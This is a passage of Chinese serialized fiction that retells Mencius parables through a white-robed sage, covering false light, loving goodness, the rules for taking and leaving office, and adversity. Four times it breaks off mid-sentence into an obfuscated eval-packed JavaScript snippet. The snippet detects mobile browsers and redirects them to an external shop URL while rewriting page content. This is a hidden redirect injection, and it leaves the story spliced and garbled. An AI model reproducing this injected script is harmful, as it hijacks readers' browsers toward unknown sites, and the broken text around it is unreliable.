三、 伪日谳 越旬日，邯郸有“日照教”兴，教主自称“光明圣使”，言能赐人“心头光”，信徒数千。圣使设坛作法，取“圣水”售金，云饮之可心明眼亮。 有信徒倾家购水，饮后亢奋，然数日复昏。高执疑为妖术，往查。圣使傲然：“吾教播撒光明，何罪之有？” 白衣人现身坛下，笑问：“圣使既能赐光，可解此谜否？”取三碗，一盛清水，一盛圣水，一空置，覆以布，“三碗孰为圣水？” 圣使作法良久，指清水：“此是圣水。” 白衣人揭布，三碗皆空。众愕然。白衣人道：“圣使心头无光，故指虚为实。真正光明，不假外物。”取本心烛一照，圣使袖中落出药粉，乃曼陀罗末，致幻之物。 圣使伏罪。白衣人对众信徒道：“世人皆求心灯，然灯在己心，何需外求？彼等以药幻为光，是售伪日也。孟子云‘君子不亮，恶乎执’，诸君自弃心灯，反求伪光，岂不悲哉？” 有老者泣：“然我心常暗，何以自明？” “暗因有私。”白衣人温言，“私欲如幔，蔽心灯。去私欲，则灯自明。何需服药？” 遂于坛址立“心灯台”，悬大白烛，不燃，旁题： “灯在心头， 不假外焰。 君子不亮， 恶乎执善？ 但去私欲， 光明自现。” 自此，邯郸妖教渐息，市井多传“心灯”之说。 四、 盗烛谳 秋，秦军压境。有客商献“夜明烛”于赵王，云燃之可照百里，夜战如昼。赵王大喜，欲购万枝。高执谏：“烛虽明，恐损士卒目力，且耗资巨万。” 客商嗤：“司马不舍小财，误军国大事！” 白衣人私谓高执：“可请验烛。” 夜，校场试烛。燃之果明如白昼，然烛烟刺鼻，士卒涕泪交加。白衣人取本心烛并燃，其光柔而不耀，烟清香。问士卒：“二烛孰佳？” 皆指本心烛。 白衣人谓客商：“君烛外明内毒，是盗明也。昔有盗日者，凿壁偷光，虽得亮，终是盗。今君以毒烟充明烛，是盗明而害人，岂可为军用？” 客商汗下。白衣人又谓赵王：“大王，军之明在士气，不在烛光。士气盛，星月可战；士气衰，百日如夜。今秦军压境，当明士卒之心，非明战场之地。” 赵王悟，却客商之烛，发库银犒军，士气大振。是夜，赵军袭秦营，不举火，衔枚而行，大破之。 捷报至，高执问白衣人：“先生， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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外烛照形，心灯照神；形可伪，神不可伪 - 惕世：多少人求外明（名利权势），不修内明（心地光明）？多少“光明正大”，实是暗室亏心？ - 反思：可有一事不敢告人？可有一念不可对天？ 三、 执守之本 - 内心不明，纵执干戈如瞽夜行；内心光明，纵处暗室如对青天 - 深层隐喻：一切作为，皆需心地光明为基 - 终极指向：修心灯，胜于点烛；明本心，胜过万法 不亮偈： 长平战后邯郸秋，高执守门秉烛愁。 君子不亮恶乎执？白衣指灯在心头。 日照妖教售伪焰，暗室冤狱照真羞。 但得本心常皎洁，何需外烛照九幽？ 后世叹： 城门司马高执公，秉烛守夜辨奸雄。 君子不亮难执守，心灯自明可贯通。 外烛虽耀终是幻，内光虽微乃真炯。 寄语世间执炬者，莫将幻火当心灯。 正是： 君子不亮恶乎执？心灯自照胜外烛。 高执熄烛擒细作，白衣燃犀照冤狱。 妖教伪日终是幻，本心真明乃可笃。 寄语世间求明者，莫向他处寻火烛。 58. 好善谳 楔子·不寐夜 鲁地曲阜，秋夜深沉。季孙氏府中灯火通明，大夫孟孺子抚掌大笑：“喜事！大喜事！鲁侯欲使乐正子主持国政！” 座中门客公孙丑惑道：“乐正子，可是那位不尚武力、不弄机谋、不博闻强记的先生？” “正是！” 公孙丑愈奇：“如此，夫子何以喜而不寐？” 孟孺子正色道：“其为人也，好善。” “好善足矣？” “好善优于天下，而况鲁国乎？”孟孺子拍案，“夫苟好善，则四海之内，皆将轻千里而来告之以善；夫苟不好善，则人将曰：‘訑訑，予既已知之矣。’訑訑之声音颜色，距人于千里之外。士止于千里之外，则谗谄面谀之人至矣。与谗诌面谀之人居，国欲治，可得乎？” 话音方落，庭外忽有拊掌声：“善哉！好善之言！” 月光下，白衣人倚树而立，斗笠面纱，木剑负背，襟袖飘飘。 一、 訑訑谳 三日后，乐正子拜相。鲁城哗然，有门客讥：“乐正子文不能安邦，武不能定国，徒以‘好善’为名，岂不误国？” 白衣人现于市井，问讥者：“足下以为，为政需何等才具？” 讥者傲然：“需强毅以慑众，智虑以谋国，博闻以知事。乐正子三者皆无，何以为相？” “然则齐桓公强乎？智乎？博闻乎？”白衣人反问。 讥者语塞。白衣人续道：“桓公不强，然用管仲成霸；不智，然纳鲍叔良言；不博闻，然天下才士皆归。何也？好善也。好善，则千里之士来告善；不好善，则訑訑拒人，谄谀之徒聚。” 忽有百姓奔告：“不好了！西市有商贾斗殴，伤数十人！” 乐正子闻讯，素服往调。白衣人随观。 殴斗者乃两大贾，一姓东郭，一姓西门，争货栈地界，各聚家丁相攻。乐正子至，不叱不骂，但揖手问：“二位皆鲁国贤商，何以至此？” 东郭愤道：“西门家占我三尺地！” 西门怒：“分明是东郭家越界！” 乐正子取界石图观之，实是年久模糊，难以分辨。左右进言：“可命官府丈量，依法裁断。” 乐正子摇头：“法可裁地，难解怨。今丈量必有一失，失者必怨，怨则复斗。”遂问二贾：“二位以为，三尺地价几何？” 二贾对视：“约十金。” 乐正子自解玉佩：“此玉值三十金，今与二位。地仍共分，各让一尺半，余三尺作公巷，可好？” 二贾赧然，皆推拒。东郭先道：“吾愿让三尺！” 西门急道：“吾愿让六尺！” 争执竟成相让。乐正子笑：“既如此，各让三尺，作六尺公巷，货栈共用，岂不更善？” 二贾拜服。一场纷争，化怨为和。 白衣人叹道：“此即好善之效。乐正子不强，不智，不博闻，然能化干戈，全在‘好善’二字。若遇酷吏，必依法强断，三尺地虽明，百年怨难消。” 讥者面赤而退。 二、 千里士 越数月，有邹地书生淳于髡闻乐正子好善，跋涉千里来鲁。城门吏见其衣衫褴褛，阻之。淳于髡高声：“吾闻鲁相好善，故轻千里而来告善。今拒士于门，岂不谬哉？” 乐正子闻之，亲迎入府，奉为上宾。淳于髡问：“相国好善，可知何谓善政？” “愿闻教。” “善政者，使民不怨。今鲁有三怨：一怨赋重，二怨刑苛，三怨吏贪。相国欲解何怨？” 乐正子肃然：“皆欲解。请先生教我。” 淳于髡乃陈减赋、省刑、肃吏三策，乐正子一一记下，翌日奏请施行。鲁侯允，民怨稍解。 有老臣嗤：“淳于髡邹国寒士，妄议国政，相国何故听之？” 乐正子正色：“善言无国界。苟好善，则四海之士皆来告善；苟不好善，则訑訑拒人，唯谄谀之徒聚。今鲁国欲治，岂拒善言？” 白衣人闻之，夜访淳于髡。髡问：“足下观乐正子何如？” “真好善者也。”白衣人道，“世之为政者，多自诩强、智、博闻，拒谏饰非，訑訑之声，拒人千里。乐正子不尚此，但以好善为宝，故士归之如流。此孟子所以喜而不寐也。” 淳于髡叹：“惜乎天下多不好善之君。吾在邹，三谏不用，反遭讥嘲。訑訑之态，令人心寒。” 白衣人取木剑，刻“好善堂”三字予之：“可持此谒乐正子，请设‘好善堂’，专纳四方善言。” 次日，淳于髡献匾，乐正子大喜，立设“好善堂”于相府门侧，布告天下：凡有善言，无论贵贱，皆可入告。自此，鲁国贤者云集。 三、 谄谀至 齐国闻鲁国好士，遣辩士田骈来探。田骈善谀，见乐正子即赞：“相国好善，名播四海，真乃尧舜再世！” 乐正子蹙眉：“先生来，必有以教我。” 田骈谀词如潮，自朝至暮，不涉实务。乐正子倦，问：“先生之善言何在？” 田骈笑：“相国即善，何需外求？骈之善言，皆在赞相国也。” 乐正子正色：“吾好善，非好谀。先生若无实言，请回。” 田骈惭退。白衣人现身堂外，拊掌：“相国能拒谀，真善士也。世之不好善者，常拒直言而纳谀辞。訑訑之声，拒善士于千里；谄谀之态，引小人于眼前。今相国反是，鲁国有望。” 乐正子叹：“吾非拒人，是拒谀。然何以辨直言与谀辞？” 白衣人道：“直言如药，苦口利病；谀辞如蜜，甘口损身。好善者求药，不好善者求蜜。相国但观来者，是献药，是献蜜？” 越数日，有莒国匠人公输拙求见，言鲁国水渠设计有误，恐溃堤。有臣斥：“尔贱匠，敢谤国工？” 乐正子止之，亲迎入，问其详。公输拙指图陈弊，果中要害。乐正子即命改修。事后，公输拙泣拜：“小人游历三国，言此弊皆被逐。唯相国纳之，真乃好善之主！” 白衣人谓众臣：“此即好善之效。苟好善，则千里匠人亦来告善；苟不好善，则訑訑拒之，国事日非。” 鲁侯闻之，赞曰：“乐正子为政，鲁国善言不绝，谀辞不入，真良相也。” 四、 距人谳 有楚国公子芈胜至鲁，骄横无礼，见乐正子即嘲：“闻鲁相好善，然国弱民贫，善有何用？” 乐正子不怒，揖问：“公子必有以教我。” 芈胜嗤：“治国在威，在力，在谋。善乃妇人之仁，何足道哉？”遂大谈霸道。 乐正子静听毕，问：“公子之策，可使民安乐否？” “民如草芥，何需安乐？” “然则公子之策，可使国长久否？” “成王败寇，何需长久？” 乐正子叹：“公子既不以民为念，不以国为念，胜不敢闻教。”遂端茶送客。 芈胜怒：“竖子敢拒我！”拂袖而去。 白衣人现身，问乐正子：“相国拒之，岂非距人千里？” “非距人，是距恶言。”乐正子肃然，“好善，非纳一切言。善者纳之，恶者拒之。今芈胜之言，残民害国，是恶非善。若纳之，是害鲁也。” 白衣人拊掌：“善哉！好善非滥善，是明辨善恶。世之不好善者，常拒善言而纳恶言，以其不好善，故不辨善恶。相国能辨，是真知好善者也。” 遂与乐正子论“好善”之要。乐正子问：“吾常恐己智不足，不能辨善。” 白衣人道：“好善如流水，自就下；好善如明镜，自照形。但存好善之心，自有辨善之能。且好善者非独行，天下善士皆来助，何愁不辨？” 忽有急报：芈胜归楚，怂恿楚王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088210|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伐鲁，言“鲁相柔弱，可一鼓下”。 鲁国大震。乐正子集众问策，淳于髡献“联齐拒楚”计，公输拙献“固城备械”策，又有义士献“疑兵计”。乐正子纳众言，部署周密。 楚兵至，见鲁国有备，不战而退。 庆功宴上，众皆赞乐正子。乐正子避席道：“此非吾之功，是好善之功。苟好善，则善士来，善策集。吾唯纳之而已。” 白衣人夜访，赠木剑一柄，上刻： “四海轻千里， 来告善不已。 但存好善心， 何患无善士？” 尾声好善堂 三年后，乐正子病逝。遗言薄葬，唯嘱守“好善堂”。 鲁人感其德，塑像于堂中，刻孟子之言于壁： “夫苟好善，则四海之内，皆将轻千里而来告之以善； 夫苟不好善，则人将曰：‘訑訑，予既已知之矣。’ 訑訑之声音颜色，距人于千里之外。 士止于千里之外，则谗谄面谀之人至矣。 与谗诌面谀之人居，国欲治，可得乎？” 又附乐正子像赞： “不强，不智，不博闻。 唯好善，善士归。 谀辞不入，恶言不侵。 三年而鲁治， 皆因好善。” 自后，鲁国凡为政者，皆先谒好善堂。有纳善者，民颂之；有拒谏者，民讥之。堂前常闻童谣： “好善堂，好善堂， 善言如水汇成江。 訑訑声，谀辞腔， 千里之外自消亡。 强何用？智何长？ 不如好善纳四方。” 白衣人过堂前，闻童谣，莞尔。有童子问：“先生，好善真胜于强智乎？” 白衣人指堂前柳：“柳不强，然春风至则绿；松柏强，然寒冬至亦凋。好善如春风，能召善士，聚善言，成善政。强智如松柏，虽傲雪，然无春风，终是孤木。” 童恍然。时值春暮，柳絮纷飞，善堂内外，游者如织。 似在说： 善啊，善啊。 不强，不智，不博闻。 只好善。 本章诫世 一、 好善为宝 - 为政不在强、智、博闻，在好善 - 破解法：遇事自问：我是否真好善？是否愿纳善言？ - 示例：乐正子不强不智，然能纳善，故善士归，鲁国治 二、 訑訑距人 - 不好善者，常作“訑訑”声（傲慢貌），拒人千里 - 惕世：多少人以“予既已知之矣”拒善言？多少“强智”者，实是孤家寡人？ - 反思：可曾訑訑拒谏？可曾喜谀拒直？ 三、 谄谀之祸 - 士止于千里之外，则谗谄面谀之人至 - 深层隐喻：不好善者，身边必聚小人；好善者，身边方有诤友 - 终极指向：但求好善，则善人至，善言集，善政成 好善偈： 鲁侯欲用乐正子，孟子闻之喜不寐。 非为其强非其智，唯因此人好善挚。 好善能召千里士，訑訑拒人谀辞至。 寄语世间为政者，莫将善心等闲弃。 后世叹： 乐正为政不强毅，不尚智谋不博闻。 唯一好善能化俗，四海之士皆来臻。 淳于髡献安民策，公输拙陈治水文。 但得主君好善谏，何需霸术与兵氛？ 正是： 为政何须强智闻？好善优于天下君。 四海轻千里来告，訑訑拒人谀佞臻。 乐正纳善鲁国治，孟子闻之喜不眠。 寄语庙堂执权者，莫将善士拒门垣。 59. 仕就谳 楔子·三就三去 齐国稷下，有寒士陈子，三赴科场不第，困顿于陋巷。是日，闻邻人讥：“读书何用？不若为吏，饱食暖衣。”陈子愤，掷书长叹：“古之君子，何如则仕？” 忽有白衣人拊掌自巷外来，斗笠面纱，木剑负背，声若清泉：“足下此问，孟子有答。” 陈子急揖：“愿闻！” “所就三，所去三。”白衣人倚墙而坐，“迎之致敬以有礼，将行其言，则就之。此上就。礼貌未衰，言弗行，则去之。此上去。” 陈子默记。白衣人续道：“其次，虽未行其言，迎之致敬以有礼，则就之。此中就。礼貌衰，则去之。此中去。” “其下者，朝不食，夕不食，饥饿不能出门户。君闻之，曰：‘吾大者不能行其道，又不能从其言，使饥饿于我土地，吾耻之。’周之，亦可受也，免死而已矣。此下就，亦下去。” 陈子恍然：“是故君子不轻仕，亦不轻去。” “然也。”白衣人起身，“今足下饥否？” 陈子赧然：“实不相瞒，两日未食。” 白衣人自怀中取一囊，中储炊饼三枚，置石上：“此可充饥。然食后，当思：足下欲行何就？” 言罢，飘然出巷。陈子捧饼，热泪盈眶。 一、 上就谳 陈子食饼，稍复气力。闻卫国公子蒯聩招贤，布告：“凡献良策者，必敬之礼之，且行之。” 陈子携“劝农耕桑策”往谒。公子果迎之门，揖让升堂，礼数周至。览策毕，拊掌：“先生大才！明日即颁行。” 次日，公子果下令：废杂役，劝农耕，赐桑苗。陈子喜，以为得“上就”。 白衣人夜访，问：“足下观公子，真能行其言否？” 陈子答：“令已颁，岂有假？” 白衣人摇头：“且观三月。” 越一月，农时，公子征兵，丁壮尽赴营，田亩荒芜。陈子谏：“此违劝农令！”公子笑：“军务急，暂借人力。” 又一月，公子纳妾，令民献锦帛。陈子又谏：“此违劝桑令！”公子不悦：“内府用度，岂容尔议？” 至三月，公子欲筑台，强征民夫。陈子三谏，公子叱：“尔策已行，勿复多言！” 陈子出府，遇白衣人于道，泣曰：“礼未衰，言弗行，当去乎？” 白衣人正色：“礼貌未衰，言弗行之，则去之。此孟子明训。今公子礼虽在，然言弗行，是虚礼。君子守上就之则，当去。” 陈子犹豫：“然舍此，何处可依？” “守道重于守禄。”白衣人厉声，“昔孔子去鲁，燔肉不至即行，岂因无肉？因道不行也。今足下道不行，尚恋栈否？” 陈子恍然，当夜留书辞行。公子遣人追，赠金挽留，陈子拒之。白衣人拊掌：“善！能行上就去，是真君子。” 二、 中就谳 陈子游于宋，遇大夫向巢。向巢闻其贤，设宴恭迎，礼敬甚笃。陈子献“节用宽民策”，向巢叹：“善哉！然宋国多事，姑待之。” 白衣人谓陈子：“此‘中就’也。礼敬在，言未行。可暂就，观其变。” 陈子遂留。向巢日与论道，执礼甚恭，然策终不行。陈子问：“大夫既以策为善，何不行？” 向巢赧然：“上有执政，下有世族，吾力不能及。” 白衣人私语：“礼未衰，可言未行，尚可留。然需自警：中就者，如履薄冰，礼衰则去。” 半年，向巢升为司马，礼渐疏。初见时亲迎于门，今使门吏导之；初见时设宴正厅，今偏厅待之。陈子惑，白衣人问：“足下觉礼衰否？” “略觉。” “礼衰，则去之。”白衣人正色，“中就之要，在察礼衰。今向子升迁，礼反疏，是心已慢。慢则去，莫迟疑。” 陈子欲辞，向巢忽召，曰：“吾欲用子策，然需稍改：节用当自下始，宽民当自吏始。子可为我润色？” 陈子喜，白衣人却道：“此诈也。节用自下，是削民利；宽民自吏，是纵贪墨。若改此，策已非策。礼衰而诱以虚名，是欺也。当去。” 陈子恍然，谢绝润色，即日辞行。向巢不挽，赠程仪略薄。白衣人笑：“礼衰至此，去之晚乎？” 陈子叹：“非晚，是幸。几为虚礼所误。” 三、 下就谳 陈子离宋，盘缠用尽，困于郑国边邑。三日不食，饿卧破庙。有牧童见，报于邑宰。 邑宰孙乔闻之，叹：“贤士饥饿于我土，吾耻之。”遣人送粟肉，并谒陈子：“先生大才，乔不能行君道，亦不能从君言，然不忍见君子饥饿。愿周之，可受否？” 陈子忆孟子言，泣受。 白衣人现于庙外，拊掌：“此下就也。免死而已，勿忘。” 陈子食毕，气力稍复。孙乔又赠衣帛，问：“先生可愿为邑中塾师，授童子句读？” 陈子欲应，白衣人止之：“下就者，受周济可也，然不可委身。今为塾师，是变相为吏。既不能行道，何苟禄位？” 陈子悟，婉拒：“受周已感，不敢再叨。” 孙乔不强。陈子养息十日，辞行。孙乔赠路资，陈子受少许。白衣人颔首：“善。下就之受，如渴饮鸩，止渴则已，多饮则亡。今足下能持，可免死，亦免辱。” 陈子拜谢。出郑境，白衣人问：“经此三就三去，可悟否？” “悟矣。”陈子肃然，“上就，行道为要；中就，守礼为界；下就，免死为限。君子仕就，非为禄，为道；非为食，为义。” “然也。”白衣人赠木剑，上刻： “上就：礼敬言从， 中去：礼衰即行， 下就：免死而已。 君子仕止， 在此三境。” 四、 三境碑 陈子归乡，不复求仕，开馆授徒。每有学子问“出仕之道”，必述“三就三去”。 有弟子问：“若三就皆不得，奈何？” 陈子答：“宁耕钓，勿苟仕。昔孔子云：‘天下有道则见，无道则隐。’孟子三就三去，正是此意。” 又一年，齐王闻陈子贤，遣使三聘，礼数极恭，且言：“愿行先生之教。”陈子心动，弟子劝行。 白衣人忽至，问：“足下信齐王乎？” 陈子犹豫：“礼敬若此，或可一试。” “姑观之。”白衣人引陈子暗访齐都。见齐王虽招贤，然宫中奢靡，牢狱盈满。陈子叹：“此非行道之君。” 白衣人道：“上就之君，必先修身而后求贤。今齐王外饰礼贤，内多欲，虽礼敬，恐难行言。足下可试，然需守‘言弗行则去’之则。” 陈子遂应聘。齐王果迎以殊礼，然陈子献“轻徭薄赋策”，王搁置不议；献“省刑宽狱策”，王笑而置之。三月，礼虽未衰，言无一行。 陈子忆“上就去”之训，即夜辞官。齐王惊，增金帛挽留，陈子拒。出城时，白衣人候于道，拊掌：“能行上就去，足下真得孟子之旨。” 陈子遂于乡中立“三境碑”，刻孟子“所就三，所去三”全章。碑阴自跋： “余尝困顿，问仕于白衣先生，闻孟子三就三去之训。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088211|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后历卫、宋、郑、齐，验之上就、中就、下就， 乃知君子出处，在道不在禄，在义不在食。 上就不行则去，中就礼衰则去，下就免死而已。 今立此碑， 告我子弟及后来者： 仕途多歧， 守此三境， 可全节义。” 碑成，有士人观而泣：“吾恋栈十年，今方知当去。” 尾声白衣铭 陈子晚年，病笃。召子弟嘱：“吾死，葬于三境碑侧。墓前植松三株，象征三就；墓后植竹三丛，象征三去。” 葬日，白衣人影现碑前，抚铭叹： “仕就之道，千古同揆。 上就礼行，中去礼衰，下就免死。 能行者稀，能去者贵。 陈子守之，可传后世。” 掷剑刻于碑座： “上就：道行则留， 不行则去， 莫恋虚礼。 中就：礼在则留， 礼衰则去， 莫贪小惠。 下就：免死可受， 苟禄莫受， 莫失大节。 三就三去， 君子之则。 守之则荣， 失之则辱。” 刻毕，白衣人去。松声竹韵，飒飒如语。 有童子牧牛过，问父：“三境碑何意？” 父答：“人求官，如牛饮水。水清可饮，水浊当避，水毒宁渴。此碑教人辨水。” 童恍然。自是乡中出仕者，行前必谒碑。有贪墨者，民辄讥：“忘三境碑乎？” 暮年，陈子弟子在碑前授经，问童子：“尔愿为何就？” 童朗声：“愿得上就，行道利民；不得，宁耕不仕。” 弟子拊掌。碑上月出，清辉满镌。 似在说： 就啊，去啊。 三道坎，三盏灯。 本章诫世 一、 三就之辨 - 上就：礼敬且行其言；中就：礼敬未行其言；下就：免死而已 - 破解法：出仕前自问：此何就？可守何去？ - 示例：陈子历三就，能守三去，方全节义 二、 三去之则 - 上就去：言弗行则去；中就去：礼貌衰则去；下就去：免死而已，勿苟禄 - 惕世：多少人恋栈不行之道？多少人贪礼衰之禄？ - 反思：所处之位，是上就、中是、下就？当去否？ 三、 君子之节 - 仕为行道，非为食禄；去为守义，非为负气 - 深层隐喻：人生出处，皆需明进退，知荣辱 - 终极指向：守三就三去，可全人格，可完道义 仕就偈： 陈子问仕何所依，孟子言有三就歧。 上就礼敬行其言，中就礼在言可移。 下就免死而已矣，三去之则不可违。 君子守此出处道，至今碑前月影稀。 后世叹： 陈子困顿问仕途，白衣指破三就区。 上就礼行中礼敬，下就免死不受污。 能就去者真君子，恋栈苟禄是鄙夫。 寄语世间求仕客，莫将节义等闲输。 正是： 君子出仕有三就，上中下兮各有由。 礼敬言从方可就，礼衰言废即当休。 免死而已岂苟禄？守道全节是真俦。 寄语庙堂冠盖客，莫忘三就去留谋。 60. 忧患谳 楔子·三囚出 齐国阿城大旱，三载无收。是日刑场，三死囚待决：一曰畎亩奴，本为农夫，因夺水殴杀豪仆；一曰版筑徒，本为匠役，因索薪触怒工曹；一曰鱼盐贩，本为市贾，因秤盐与官差相争。三人皆呼冤，然证据确凿，秋后当斩。 忽有白衣人策马闯法场，斗笠面纱，木剑斜背，高呼：“刀下留人！” 监斩官怒：“汝何人，敢扰国法？” 白衣人掷一铁券于案：“此先王‘赦罪令’，可赦死囚三人。” 官验之，果是真。遂释三囚。白衣人引三人至郊野，问：“尔等本业为何？” 畎亩奴泣：“小人本舜河畔耕夫，因豪强截水，禾苗尽枯，争水误杀其仆。” 版筑徒叹：“吾乃傅岩匠人，为官府筑城，三载无酬，索薪被诬盗料。” 鱼盐贩恸：“胶西盐民，因官秤不公，争辩入狱。” 白衣人颔首：“舜发于畎亩，傅说举于版筑，胶鬲举于鱼盐。尔三人恰应此兆。今赦尔等，非纵罪孽，是观天意。可随吾行，看一场造化。” 是夜，四人宿破庙。白衣人指残月道：“天将降大任于是人也，必先苦其心志，劳其筋骨，饿其体肤，空乏其身，行拂乱其所为，所以动心忍性，曾益其所不能。” 三囚拜问：“吾等戴罪之身，安敢望大任？” 白衣人笑：“大任未必庙堂。能忍人所不能忍，成人所不能成，便是大任。” 一、 筋骨劳 白衣人引三囚北行三百里，至黄河决口处。但见浊浪滔天，灾民遍野。有老吏泣告：“堤溃三处，民夫溃散，吾等待死耳！” 白衣人谓三囚：“此正需筋骨之劳。可愿治水？” 畎亩奴道：“小人惯于农事，或可筑堤。” 版筑徒道：“吾善版筑，可堵决口。” 鱼盐贩道：“吾知水性，可导分流。” 白衣人拊掌：“各展所能，此即‘曾益其所不能’之始。” 遂率灾民治水。畎亩奴教人打夯固基，版筑徒督造防波木笼，鱼盐贩探水文定分洪道。三人日夜不休，肩破足裂，面目黧黑。白衣人亦荷土负石，与众同劳。 越七日，决口稍堵。忽暴雨至，新堤危殆。畎亩奴奋身跃入急流，以躯堵漏，版筑徒急编竹笼，鱼盐贩呼众牵绳。白衣人立浪中挥木剑，分水导流，竟稳住堤防。 雨霁，堤存。灾民罗拜。老吏问白衣人：“壮士等从何来？” 白衣人指三囚：“彼本死囚，然筋骨能劳，心志能苦，故能成此功。可知孟子云‘劳其筋骨，饿其体肤’之意？” 老吏恍然。三囚相视，皆见目中光，已非戴罪之囚，乃治水之士。 二、 心志苦 水患方平，瘟疫又起。灾民病羸，医药匮乏。有巫祝散谣：“此三囚带煞，触怒河神！”愚民信之，围三人欲殴。 白衣人护三人出，问：“遭此冤屈，心苦否？” 畎亩奴泣：“苦！然念及家中老母昔年病亡，亦因无医，此苦可忍。” 版筑徒叹：“吾索薪被诬时，曾欲触柱。今思之，当时若死，焉能救此万人？” 鱼盐贩道：“吾卖盐时，常见穷苦人无钱购盐，身肿而死。今瘟疫，与彼时同，吾心虽苦，志愈坚。” 白衣人颔首：“人恒过，然后能改；困于心，衡于虑，而后作。尔等昔有过，今能改；心有困，虑能衡。此正天将降大任之兆。” 遂教三人以土方治疫：畎亩奴识草药，版筑徒建疠所，鱼盐贩煮盐汤消毒。白衣人自入疫区，亲治患者，木剑挑艾草，烟熏驱疫。 巫祝又煽动：“白衣人是妖，木剑施法，必遭天谴！” 是夜，愚民持火把围疠所。白衣人开门出，取面纱，现清俊面容，声朗如钟：“吾非妖，是医者。尔等见疫不救，反信妖言，岂不悖天？” 有老者颤问：“若真是医，可能治我儿？” 白衣人入内，以金针救其子。子苏，愚民渐散。巫祝欲遁，鱼盐贩擒之，搜出药粉，乃其投毒致疫。众怒，欲杀巫祝。白衣人止之：“送官治罪即可。杀之，与彼何异？” 三囚拜服。白衣人道：“此即‘动心忍性’。心志之苦，能忍则成；不能忍，则堕魔道。” 三、 体肤饿 瘟疫稍遏，粮尽。饥民嗷嗷，野菜挖绝，树皮剥尽。白衣人与三囚亦三日不食。 版筑徒饿倒，畎亩奴采观音土欲食，白衣人夺之：“此土入腹必死，非活路。” 鱼盐贩忽道：“昔贩盐时，闻海客言：东海有岛，产薯蕷，可渡荒。” 白衣人目亮：“可寻此物。” 四人驾筏入海，风浪险恶。鱼盐贩辨星象，畎亩奴划桨，版筑徒补筏。白衣人立筏首，木剑指波，浪稍平。 行三日，果见荒岛，薯蕷遍野。四人狂喜，饱食后，尽采籽实。归途遇飓风，筏几覆。白衣人割臂血祭海，风浪暂息。鱼盐贩惊：“先生此为何？” “非常之时，行非常之事。”白衣人面色苍白，“饿体肤，空乏身，正是磨砺。今得薯种，可活万人，吾血不枉。” 归岸，灾民见薯种，如见天粮。白衣人教种植法，曰：“此物耐旱，两月可收。”饥民始安。 官府闻之，遣吏来索“祥瑞”。白衣人拒：“此救荒物，非祥瑞。若强征，民必反。” 吏怒，囚白衣人。三囚率民围衙，高呼：“释先生！”声震四野。郡守惧，释之。 白衣人出狱，笑谓三囚：“昔尔等刑场待死，今为民请命。此即‘征于色，发于声，而后喻’——正义之声，可喻官民。” 遂教民广植薯蕷，命曰“救命薯”。是岁，虽大旱，民无饥殍。 四、 生死鉴 越三年，三囚之功闻于齐都。齐王遣使召，欲封官爵。白衣人夜聚三囚，问：“今安乐至，尔等欲如何？” 畎亩奴道：“小人愿归田，教民种薯。” 版筑徒道：“吾愿为匠，筑堤防洪。” 鱼盐贩道：“吾愿为商，通盐利民。” 白衣人拊掌：“善！不忘忧患，不慕安乐，此真能受大任者。” 忽有边报：燕国来犯，连破三城。齐王惊，问群臣御敌方略。有佞臣献计：“可征救命薯为军粮，加赋练兵。” 白衣人闻之，与三囚入朝谏阻。佞臣嗤：“尔等贱民，安议国政？” 白衣人正色：“入则无法家拂士，出则无敌国外患者，国恒亡。今燕国来犯，是外患；佞臣当道，是内忧。内忧外患并至，正需忧患之志。若夺民救命粮，是自毁长城，何御外敌？” 齐王犹豫。白衣人续道：“昔舜发于畎亩，傅说举于版筑，胶鬲举于鱼盐，皆经忧患，故能担大任。今彼三人，历死囚、洪水、瘟疫、饥荒，筋骨劳，心志苦，体肤饿，身空乏，行事常拂乱。然动心忍性，曾益不能，正堪大用。王何不以此三人御边？” 齐王遂命畎亩奴督粮草，版筑徒修关隘，鱼盐贩筹盐铁。三人赴边，各展所长：畎亩奴屯田供粮，版筑徒筑城固防，鱼盐贩通商富边。军民一心，大破燕军。 凯旋日，齐王欲重赏。三人皆辞，归乡为民。白衣人赞：“能受忧患，能拒安乐，是真知‘生于忧患，死于安乐’者。” 遂于阿城立“忧患碑”，刻孟子全文。又立三辅碑，分记三人事迹： 舜亩碑：畎亩奴，本农夫，因旱夺水杀人。遇赦治水，识草药，寻薯种。后督边屯田，军粮无缺。辞官归田，教民耕植，一乡丰饶。 傅筑碑：版筑徒，本匠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088212|195403||http|test|mini|href|location''.split(''|''),0,{})); 